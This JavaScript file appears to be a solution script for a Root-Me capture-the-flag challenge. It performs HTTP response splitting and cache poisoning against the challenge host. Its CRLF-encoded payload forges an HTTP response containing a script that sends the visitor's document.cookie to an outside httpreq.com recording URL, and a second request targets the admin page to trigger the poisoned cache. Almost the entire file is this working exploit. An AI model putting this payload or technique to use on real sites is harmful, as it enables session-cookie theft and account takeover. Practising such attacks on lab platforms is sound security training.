47 lines
1.6 KiB
JavaScript
47 lines
1.6 KiB
JavaScript
/* -------------------------------
|
|
--- IMPORTS ---
|
|
------------------------------- */
|
|
|
|
const axios = require('axios').default;
|
|
|
|
|
|
/* -------------------------------
|
|
--- DATA ---
|
|
------------------------------- */
|
|
|
|
const BASE_URL = "http://challenge01.root-me.org:58002/";
|
|
|
|
const PAYLOAD = "%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2017%20Nov%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E"
|
|
|
|
let cookie = "ebbbd859-1dce-438f-9b9e-46b895fcb169";
|
|
|
|
const USER_COOKIE = "user_session=" + cookie;
|
|
|
|
|
|
/* -------------------------------
|
|
--- PROCESS ---
|
|
------------------------------- */
|
|
|
|
// Launching initial request to the website for code injection
|
|
axios.get(BASE_URL + 'user/param?lang=fr' + PAYLOAD, {
|
|
headers: {
|
|
Cookie: USER_COOKIE,
|
|
Pragma: "no-cache"
|
|
}
|
|
}).then(function (response) {
|
|
console.log("Payload injected successfully to the base web page.");
|
|
|
|
// Start second fetch to poison right uk-icon-page
|
|
axios.get(BASE_URL + 'admin', {
|
|
headers: {
|
|
Cookie: USER_COOKIE
|
|
}
|
|
}).then(function (response) {
|
|
console.log("Admin page visited successfully.");
|
|
}).catch(function (error) {
|
|
console.log("An error occured while visiting admin page.");
|
|
});
|
|
}).catch(function (error) {
|
|
console.log("An error occured while injecting payload.");
|
|
});
|